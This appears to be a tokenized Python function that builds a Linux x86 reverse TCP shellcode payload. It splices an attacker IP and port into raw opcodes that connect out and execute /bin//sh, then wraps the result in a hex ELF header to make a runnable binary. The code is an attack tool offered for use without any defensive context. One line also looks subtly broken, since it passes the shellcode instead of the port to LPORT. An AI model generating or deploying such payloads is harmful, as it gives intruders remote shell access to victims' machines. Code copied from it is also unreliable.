#NEWLINE# def linx86reverse_tcp( IP = None , PORT = None ) : #NEWLINE# #INDENT# shellcode = '\\x6a\\x66\\x58\\x99\\x52\\x42\\x52\\x89\\xd3\\x42\\x52\\x89\\xe1\\xcd\\x80\\x93\\x89\\xd1\\xb0' #NEWLINE# shellcode += '\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\\x66\\x87\\xda\\x68' #NEWLINE# shellcode += LIP ( IP ) #NEWLINE# shellcode += '\\x66\\x68' #NEWLINE# shellcode += LPORT ( shellcode ) #NEWLINE# shellcode += '\\x66\\x53\\x43\\x89\\xe1\\x6a\\x10\\x51\\x52\\x89\\xe1\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x89\\xd1' #NEWLINE# shellcode += '\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80' #NEWLINE# byteman = '7f454c4601010100000000000000000002000300010000005480040' #NEWLINE# byteman += '834000000000000000000000034002000010000000000000001000' #NEWLINE# byteman += '0000000000000800408008004089c000000001000000700000000100000' #NEWLINE# byteman = ( byteman + shellcode . replace ( '\\x' , '' ) ) #NEWLINE# return byteman